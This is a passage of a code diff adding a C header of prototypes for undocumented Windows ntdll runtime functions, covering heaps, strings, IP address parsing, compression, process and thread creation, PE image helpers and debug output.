OPTIONAL PULONG UserFlags + ); + + +BOOLEAN +NTAPI +RtlSetUserValueHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN PVOID UserValue + ); + + +BOOLEAN +NTAPI +RtlSetUserFlagsHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN ULONG UserFlagsReset, + IN ULONG UserFlagsSet + ); + + +ULONG +NTAPI +RtlCreateTagHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN OPTIONAL PWSTR TagPrefix, + IN PWSTR TagNames + ); + + +PWSTR +NTAPI +RtlQueryTagHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN USHORT TagIndex, + IN BOOLEAN ResetCounters, + OUT OPTIONAL PRTL_HEAP_TAG_INFO TagInfo + ); + + +NTSTATUS +NTAPI +RtlExtendHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID Base, + IN SIZE_T Size + ); + + +SIZE_T +NTAPI +RtlCompactHeap( + IN PVOID HeapHandle, + IN ULONG Flags + ); + + +BOOLEAN +NTAPI +RtlValidateProcessHeaps( + ); + +ULONG +NTAPI +RtlGetProcessHeaps( + IN ULONG NumberOfHeaps, + OUT PVOID *ProcessHeaps + ); + + +NTSTATUS +NTAPI +RtlUsageHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN OUT PRTL_HEAP_USAGE Usage + ); + + +NTSTATUS +NTAPI +RtlWalkHeap( + IN PVOID HeapHandle, + IN OUT PRTL_HEAP_WALK_ENTRY Entry + ); + +#if !defined(_WINDOWS_) +NTSTATUS +NTAPI +RtlQueryHeapInformation( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + OUT OPTIONAL PVOID HeapInformation, + IN OPTIONAL SIZE_T HeapInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + +NTSTATUS +NTAPI +RtlSetHeapInformation( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + IN OPTIONAL PVOID HeapInformation, + IN OPTIONAL SIZE_T HeapInformationLength + ); +#endif + +ULONG +NTAPI +RtlMultipleAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size, + IN ULONG Count, + OUT PVOID *Array + ); + +ULONG +NTAPI +RtlMultipleFreeHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN ULONG Count, + IN PVOID *Array + ); + +VOID +NTAPI +RtlDetectHeapLeaks( + VOID + ); + + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSTATUS +NTAPI +RtlCreateMemoryZone( + OUT PVOID *MemoryZone, + IN SIZE_T InitialSize, + ULONG Flags + ); + +NTSTATUS +NTAPI +RtlDestroyMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlAllocateMemoryZone( + IN PVOID MemoryZone, + IN SIZE_T BlockSize, + OUT PVOID *Block + ); + +NTSTATUS +NTAPI +RtlResetMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlLockMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlUnlockMemoryZone( + IN PVOID MemoryZone + ); +#endif + + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSTATUS +NTAPI +RtlCreateMemoryBlockLookaside( + OUT PVOID *MemoryBlockLookaside, + IN ULONG Flags, + IN ULONG InitialSize, + IN ULONG MinimumBlockSize, + IN ULONG MaximumBlockSize + ); + +NTSTATUS +NTAPI +RtlDestroyMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlAllocateMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN ULONG BlockSize, + OUT PVOID *Block + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN PVOID Block + ); + +NTSTATUS +NTAPI +RtlExtendMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN ULONG Increment + ); + +NTSTATUS +NTAPI +RtlResetMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlLockMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlUnlockMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); +#endif + +HANDLE +NTAPI +RtlGetCurrentTransaction( + ); + +LOGICAL +NTAPI +RtlSetCurrentTransaction( + IN HANDLE TransactionHandle + ); + +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + IN OPTIONAL ULONG MaximumCommit, + IN BOOLEAN UseEventPair + ); + +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + IN PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + IN HANDLE UniqueProcessId, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + + +//added 21/03/2011 +//end + +ULONG +NTAPI +RtlUniform ( + PULONG Seed + ); + +NTSTATUS +RtlComputeImportTableHash( + IN HANDLE hFile, + OUT PCHAR Hash, + IN ULONG ImportTableHashRevision + ); + +NTSTATUS +NTAPI +RtlIntegerToChar ( + ULONG Value, + ULONG Base, + LONG OutputLength, + PSZ String + ); + +NTSTATUS +NTAPI +RtlIntegerToUnicode ( + IN ULONG Value, + IN ULONG Base OPTIONAL, + IN LONG OutputLength, + OUT PWSTR String + ); + +NTSTATUS +NTAPI +RtlLargeIntegerToChar ( + PLARGE_INTEGER Value, + ULONG Base OPTIONAL, + LONG OutputLength, + PSZ String + ); + +NTSTATUS +NTAPI +RtlLargeIntegerToUnicode ( + IN PLARGE_INTEGER Value, + IN ULONG Base OPTIONAL, + IN LONG OutputLength, + OUT PWSTR String + ); + +PSTR +NTAPI +RtlIpv4AddressToStringA ( + IN const struct in_addr *Addr, + OUT PSTR S + ); + +PSTR +NTAPI +RtlIpv6AddressToStringA ( + IN const struct in6_addr *Addr, + OUT PSTR S + ); + +NTSTATUS +NTAPI +RtlIpv4AddressToStringExA( + IN const struct in_addr *Address, + IN USHORT Port, + OUT PSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv6AddressToStringExA( + IN const struct in6_addr *Address, + IN ULONG ScopeId, + IN USHORT Port, + OUT PSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +PWSTR +NTAPI +RtlIpv4AddressToStringW ( + IN const struct in_addr *Addr, + OUT PWSTR S + ); + +PWSTR +NTAPI +RtlIpv6AddressToStringW ( + IN const struct in6_addr *Addr, + OUT PWSTR S + ); + +NTSTATUS +NTAPI +RtlIpv4AddressToStringExW( + IN const struct in_addr *Address, + IN USHORT Port, + OUT PWSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv6AddressToStringExW( + IN const struct in6_addr *Address, + IN ULONG ScopeId, + IN USHORT Port, + OUT PWSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressA ( + IN PCSTR S, + IN BOOLEAN Strict, + OUT PCSTR *Terminator, + OUT struct in_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressA ( + IN PCSTR S, + OUT PCSTR *Terminator, + OUT struct in6_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressExA ( + IN PCSTR AddressString, + IN BOOLEAN Strict, + OUT struct in_addr *Address, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressExA ( + IN PCSTR AddressString, + OUT struct in6_addr *Address, + OUT PULONG ScopeId, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressW ( + IN PCWSTR S, + IN BOOLEAN Strict, + OUT LPCWSTR *Terminator, + OUT struct in_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressW ( + IN PCWSTR S, + OUT PCWSTR *Terminator, + OUT struct in6_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressExW ( + IN PCWSTR AddressString, + IN BOOLEAN Strict, + OUT struct in_addr *Address, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressExW ( + IN PCWSTR AddressString, + OUT struct in6_addr *Address, + OUT PULONG ScopeId, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIntegerToUnicodeString ( + ULONG Value, + ULONG Base, + PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlInt64ToUnicodeString ( + IN ULONGLONG Value, + IN ULONG Base OPTIONAL, + IN OUT PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToInteger ( + PCUNICODE_STRING String, + ULONG Base, + PULONG Value + ); + +VOID +NTAPI +RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +VOID +NTAPI +RtlInitAnsiString( + PANSI_STRING DestinationString, + PCSZ SourceString + ); + +NTSTATUS +NTAPI +RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +NTSTATUS +NTAPI +RtlInitUnicodeStringEx( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +NTSTATUS +NTAPI +RtlInitAnsiStringEx( + OUT PANSI_STRING DestinationString, + IN PCSZ SourceString OPTIONAL + ); + +BOOLEAN +NTAPI +RtlCreateUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PCWSTR SourceString + ); + +BOOLEAN +NTAPI +RtlEqualDomainName( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2 + ); + +BOOLEAN +NTAPI +RtlEqualComputerName( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2 + ); + +NTSTATUS +RtlDnsHostNameToComputerName( + OUT PUNICODE_STRING ComputerNameString, + IN PCUNICODE_STRING DnsHostNameString, + IN BOOLEAN AllocateComputerNameString + ); + +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + OUT PUNICODE_STRING DestinationString, + IN PCSZ SourceString + ); + +VOID +NTAPI +RtlCopyString( + PSTRING DestinationString, + const STRING * SourceString + ); + +CHAR +NTAPI +RtlUpperChar ( + CHAR Character + ); + +LONG +NTAPI +RtlCompareString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlEqualString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlPrefixString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +VOID +NTAPI +RtlUpperString( + PSTRING DestinationString, + const STRING * SourceString + ); + +NTSTATUS +NTAPI +RtlAppendAsciizToString ( + PSTRING Destination, + PCSZ Source + ); + +NTSTATUS +NTAPI +RtlAppendStringToString ( + PSTRING Destination, + const STRING * Source + ); + +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCANSI_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +WCHAR +NTAPI +RtlAnsiCharToUnicodeChar( + PUCHAR *SourceCharacter + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlOemStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCOEM_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlOemStringToCountedUnicodeString( + PUNICODE_STRING DestinationString, + PCOEM_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToCountedOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToCountedOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +LONG +NTAPI +RtlCompareUnicodeString( + PCUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlEqualUnicodeString( + PCUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); + +NTSTATUS +NTAPI +RtlHashUnicodeString( + IN const UNICODE_STRING *String, + IN BOOLEAN CaseInSensitive, + IN ULONG HashAlgorithm, + OUT PULONG HashValue + ); + +NTSTATUS +NTAPI +RtlValidateUnicodeString( + IN ULONG Flags, + IN const UNICODE_STRING *String + ); + +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + IN ULONG Flags, + IN const UNICODE_STRING *StringIn, + OUT UNICODE_STRING *StringOut + ); + +BOOLEAN +NTAPI +RtlPrefixUnicodeString( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeString( + PUNICODE_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlFindCharInUnicodeString( + IN ULONG Flags, + IN PCUNICODE_STRING StringToSearch, + IN PCUNICODE_STRING CharSet, + OUT USHORT *NonInclusivePrefixLength + ); + +VOID +NTAPI +RtlCopyUnicodeString( + PUNICODE_STRING DestinationString, + PCUNICODE_STRING SourceString + ); + +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString ( + PUNICODE_STRING Destination, + PCUNICODE_STRING Source + ); + +NTSTATUS +NTAPI +RtlAppendUnicodeToString ( + PUNICODE_STRING Destination, + PCWSTR Source + ); + +WCHAR +NTAPI +RtlUpcaseUnicodeChar( + WCHAR SourceCharacter + ); + +WCHAR +NTAPI +RtlDowncaseUnicodeChar( + WCHAR SourceCharacter + ); + +VOID +NTAPI +RtlFreeUnicodeString( + PUNICODE_STRING UnicodeString + ); + +VOID +NTAPI +RtlFreeAnsiString( + PANSI_STRING AnsiString + ); + +VOID +NTAPI +RtlFreeOemString( + POEM_STRING OemString + ); + +ULONG +NTAPI +RtlxUnicodeStringToAnsiSize( + PCUNICODE_STRING UnicodeString + ); + +ULONG +NTAPI +RtlxUnicodeStringToOemSize( + PCUNICODE_STRING UnicodeString + ); + +ULONG +NTAPI +RtlxAnsiStringToUnicodeSize( + PCANSI_STRING AnsiString + ); + +ULONG +NTAPI +RtlxOemStringToUnicodeSize( + PCOEM_STRING OemString + ); + +NTSTATUS +NTAPI +RtlMultiByteToUnicodeN( + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCSTR MultiByteString, + IN ULONG BytesInMultiByteString + ); + +NTSTATUS +NTAPI +RtlMultiByteToUnicodeSize( + PULONG BytesInUnicodeString, + PCSTR MultiByteString, + ULONG BytesInMultiByteString + ); + +NTSTATUS +NTAPI +RtlUnicodeToMultiByteSize( + OUT PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUnicodeToMultiByteN( + OUT PCHAR MultiByteString, + IN ULONG MaxBytesInMultiByteString, + OUT OPTIONAL PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToMultiByteN( + OUT PCHAR MultiByteString, + IN ULONG MaxBytesInMultiByteString, + OUT OPTIONAL PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlOemToUnicodeN( + OUT PWSTR UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCH OemString, + IN ULONG BytesInOemString + ); + +NTSTATUS +NTAPI +RtlUnicodeToOemN( + OUT PCHAR OemString, + IN ULONG MaxBytesInOemString, + OUT OPTIONAL PULONG BytesInOemString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToOemN( + OUT PCHAR OemString, + IN ULONG MaxBytesInOemString, + OUT OPTIONAL PULONG BytesInOemString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlConsoleMultiByteToUnicodeN( + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString OPTIONAL, + IN PCH MultiByteString, + IN ULONG BytesInMultiByteString, + OUT PULONG pdwSpecialChar ); + +BOOLEAN +NTAPI +RtlIsTextUnicode( + IN CONST VOID* Buffer, + IN ULONG Size, + IN OUT PULONG Result OPTIONAL + ); + +NTSTATUS +NTAPI +RtlStringFromGUID( + IN REFGUID Guid, + OUT PUNICODE_STRING GuidString + ); + +NTSTATUS +NTAPI +RtlGUIDFromString( + IN PUNICODE_STRING GuidString, + OUT GUID* Guid + ); + +VOID +NTAPI +RtlGenerate8dot3Name ( + IN PUNICODE_STRING Name, + IN BOOLEAN AllowExtendedCharacters, + IN OUT PGENERATE_NAME_CONTEXT Context, + OUT PUNICODE_STRING Name8dot3 + ); + +BOOLEAN +NTAPI +RtlIsNameLegalDOS8Dot3 ( + IN PUNICODE_STRING Name, + IN OUT POEM_STRING OemName OPTIONAL, + IN OUT PBOOLEAN NameContainsSpaces OPTIONAL + ); + +VOID +NTAPI +RtlInitializeContext( + HANDLE Process, + PCONTEXT Context, + PVOID Parameter, + PVOID InitialPc, + PVOID InitialSp + ); + +NTSTATUS +NTAPI +RtlRemoteCall( + HANDLE Process, + HANDLE Thread, + PVOID CallSite, + ULONG ArgumentCount, + PULONG_PTR Arguments, + BOOLEAN PassContext, + BOOLEAN AlreadySuspended + ); + +VOID +NTAPI +RtlAcquirePebLock( + ); + +VOID +NTAPI +RtlReleasePebLock( + ); + +NTSTATUS +NTAPI +RtlAllocateFromPeb( + ULONG Size, + PVOID *Block + ); + +NTSTATUS +NTAPI +RtlFreeToPeb( + PVOID Block, + ULONG Size + ); + +NTSTATUS +STDAPIVCALLTYPE +RtlSetProcessIsCritical( + IN BOOLEAN NewValue, + OUT PBOOLEAN OldValue OPTIONAL, + IN BOOLEAN CheckFlag + ); + +NTSTATUS +STDAPIVCALLTYPE +RtlSetThreadIsCritical( + IN BOOLEAN NewValue, + OUT PBOOLEAN OldValue OPTIONAL, + IN BOOLEAN CheckFlag + ); + +NTSTATUS +NTAPI +RtlCreateEnvironment( + BOOLEAN CloneCurrentEnvironment, + PVOID *Environment + ); + +NTSTATUS +NTAPI +RtlDestroyEnvironment( + PVOID Environment + ); + +NTSTATUS +NTAPI +RtlSetCurrentEnvironment( + PVOID Environment, + PVOID *PreviousEnvironment + ); + +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + PVOID *Environment, + PCUNICODE_STRING Name, + PCUNICODE_STRING Value + ); + +ULONG +RtlIsDosDeviceName_U( + IN PWSTR DosFileName + ); + +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U ( + PVOID Environment, + PCUNICODE_STRING Name, + PUNICODE_STRING Value + ); + +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings_U( + IN PVOID Environment OPTIONAL, + IN PCUNICODE_STRING Source, + OUT PUNICODE_STRING Destination, + OUT PULONG ReturnedLength OPTIONAL + ); + +VOID +NTAPI +PfxInitialize ( + PPREFIX_TABLE PrefixTable + ); + +BOOLEAN +NTAPI +PfxInsertPrefix ( + PPREFIX_TABLE PrefixTable, + PSTRING Prefix, + PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +VOID +NTAPI +PfxRemovePrefix ( + PPREFIX_TABLE PrefixTable, + PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +PPREFIX_TABLE_ENTRY +NTAPI +PfxFindPrefix ( + PPREFIX_TABLE PrefixTable, + PSTRING FullName + ); + +VOID +NTAPI +RtlInitializeUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable + ); + +BOOLEAN +NTAPI +RtlInsertUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_STRING Prefix, + PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +VOID +NTAPI +RtlRemoveUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlFindUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_STRING FullName, + ULONG CaseInsensitiveIndex + ); + +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlNextUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + BOOLEAN Restart + ); + +NTSTATUS +NTAPI +RtlGetCompressionWorkSpaceSize ( + IN USHORT CompressionFormatAndEngine, + OUT PULONG CompressBufferWorkSpaceSize, + OUT PULONG CompressFragmentWorkSpaceSize + ); + +NTSTATUS +NTAPI +RtlCompressBuffer ( + IN USHORT CompressionFormatAndEngine, + IN PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + OUT PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN ULONG UncompressedChunkSize, + OUT PULONG FinalCompressedSize, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlDecompressBuffer ( + IN USHORT CompressionFormat, + OUT PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + OUT PULONG FinalUncompressedSize + ); + +NTSTATUS +NTAPI +RtlDecompressFragment ( + IN USHORT CompressionFormat, + OUT PUCHAR UncompressedFragment, + IN ULONG UncompressedFragmentSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN ULONG FragmentOffset, + OUT PULONG FinalUncompressedSize, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlDescribeChunk ( + IN USHORT CompressionFormat, + IN OUT PUCHAR *CompressedBuffer, + IN PUCHAR EndOfCompressedBufferPlus1, + OUT PUCHAR *ChunkBuffer, + OUT PULONG ChunkSize + ); + +NTSTATUS +NTAPI +RtlReserveChunk ( + IN USHORT CompressionFormat, + IN OUT PUCHAR *CompressedBuffer, + IN PUCHAR EndOfCompressedBufferPlus1, + OUT PUCHAR *ChunkBuffer, + IN ULONG ChunkSize + ); + +NTSTATUS +NTAPI +RtlDecompressChunks ( + OUT PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN PUCHAR CompressedTail, + IN ULONG CompressedTailSize, + IN PCOMPRESSED_DATA_INFO CompressedDataInfo + ); + +NTSTATUS +NTAPI +RtlCompressChunks ( + IN PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + OUT PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN OUT PCOMPRESSED_DATA_INFO CompressedDataInfo, + IN ULONG CompressedDataInfoLength, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlCreateProcessParameters( + PRTL_USER_PROCESS_PARAMETERS *ProcessParameters, + PUNICODE_STRING ImagePathName, + PUNICODE_STRING DllPath, + PUNICODE_STRING CurrentDirectory, + PUNICODE_STRING CommandLine, + PVOID Environment, + PUNICODE_STRING WindowTitle, + PUNICODE_STRING DesktopInfo, + PUNICODE_STRING ShellInfo, + PUNICODE_STRING RuntimeData + ); + +NTSTATUS +NTAPI +RtlDestroyProcessParameters( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlNormalizeProcessParams( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlDeNormalizeProcessParams( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSTATUS +NTAPI +RtlCreateUserProcess( + PUNICODE_STRING NtImagePathName, + ULONG Attributes, + PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + HANDLE ParentProcess, + BOOLEAN InheritHandles, + HANDLE DebugPort, + HANDLE ExceptionPort, + PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + +NTSTATUS +NTAPI +RtlCreateUserThread( + HANDLE Process, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + BOOLEAN CreateSuspended, + ULONG StackZeroBits, + SIZE_T MaximumStackSize OPTIONAL, + SIZE_T InitialStackSize OPTIONAL, + PUSER_THREAD_START_ROUTINE StartAddress, + PVOID Parameter, + PHANDLE Thread, + PCLIENT_ID ClientId + ); + +VOID +NTAPI +RtlExitUserThread ( + IN NTSTATUS ExitStatus + ); + +VOID +NTAPI +RtlFreeUserThreadStack( + HANDLE hProcess, + HANDLE hThread + ); +/* +PVOID +NTAPI +RtlPcToFileHeader( + PVOID PcValue, + PVOID *BaseOfImage + );*/ + +NTSTATUS +NTAPI +RtlImageNtHeaderEx( + ULONG Flags, + PVOID Base, + ULONG64 Size, + OUT PIMAGE_NT_HEADERS * OutHeaders + ); + +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader( + PVOID Base + ); + +PVOID +NTAPI +RtlAddressInSectionTable ( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID BaseOfImage, + IN ULONG VirtualAddress + ); + +PIMAGE_SECTION_HEADER +NTAPI +RtlSectionTableFromVirtualAddress ( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID BaseOfImage, + IN ULONG VirtualAddress + ); + +NTSTATUS +NTAPI +RtlImageDirectoryEntryToData( + PVOID BaseOfImage, + BOOLEAN MappedAsImage, + USHORT DirectoryEntry, + PULONG Size + ); + +PVOID +RtlImageDirectoryEntryToData32 ( + IN PVOID Base, + IN BOOLEAN MappedAsImage, + IN USHORT DirectoryEntry, + OUT PULONG Size + ); + +PIMAGE_SECTION_HEADER +NTAPI +RtlImageRvaToSection( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID Base, + IN ULONG Rva + ); + +PVOID +NTAPI +RtlImageRvaToVa( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID Base, + IN ULONG Rva, + IN OUT PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL + ); + + +VOID +NTAPI +RtlCopyMemoryNonTemporal ( + VOID UNALIGNED *Destination, + CONST VOID UNALIGNED *Source, + SIZE_T Length + ); + +VOID __fastcall +RtlPrefetchMemoryNonTemporal( + IN PVOID Source, + IN SIZE_T Length + ); + +SIZE_T +NTAPI +RtlCompareMemoryUlong ( + PVOID Source, + SIZE_T Length, + ULONG Pattern + ); + +VOID +NTAPI +RtlFillMemoryUlong ( + PVOID Destination, + SIZE_T Length, + ULONG Pattern + ); + +VOID +NTAPI +RtlFillMemoryUlonglong ( + PVOID Destination, + SIZE_T Length, + ULONGLONG Pattern + ); + +VOID +NTAPI +RtlInitializeExceptionLog( + IN ULONG Entries + ); + +LONG +NTAPI +RtlUnhandledExceptionFilter( + IN struct _EXCEPTION_POINTERS *ExceptionInfo + ); + +LONG +NTAPI +RtlUnhandledExceptionFilter2( + IN struct _EXCEPTION_POINTERS *ExceptionInfo, + IN PCSTR Function + ); + +VOID +NTAPI +DbgUserBreakPoint( + VOID + ); + +VOID +NTAPI +DbgBreakPointWithStatus( + IN ULONG Status + ); + +ULONG +DbgPrintEx ( + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + ... + ); + +ULONG +NTAPI +vDbgPrintEx( + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + IN va_list arglist + ); + +ULONG +NTAPI +vDbgPrintExWithPrefix ( + IN PCH Prefix, + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + IN va_list arglist + ); + +ULONG +DbgPrintReturnControlC ( + IN PCHAR Format, + ... + ); + +NTSTATUS +NTAPI +DbgQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + +NTSTATUS +NTAPI +DbgSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + +ULONG +NTAPI +DbgPrompt ( + IN PCH Prompt, + OUT PCH Response, + IN ULONG Length + ); + +VOID +NTAPI +DbgLoadImageSymbols ( + IN PSTRING FileName, + IN PVOID ImageBase, + IN ULONG_PTR ProcessId + ); + +VOID +NTAPI +DbgUnLoadImageSymbols ( + IN PSTRING FileName, + IN PVOID ImageBase, + IN ULONG_PTR ProcessId + ); + +VOID +NTAPI +DbgCommandString ( + IN PCH Name, + IN PCH Command + ); + +BOOLEAN +NTAPI +RtlCutoverTimeToSystemTime( + PTIME_FIELDS CutoverTime, + PLARGE_INTEGER SystemTime, + PLARGE_INTEGER CurrentSystemTime, + BOOLEAN ThisYear + ); + +NTSTATUS +NTAPI +RtlSystemTimeToLocalTime ( + IN PLARGE_INTEGER SystemTime, + OUT PLARGE_INTEGER LocalTime + 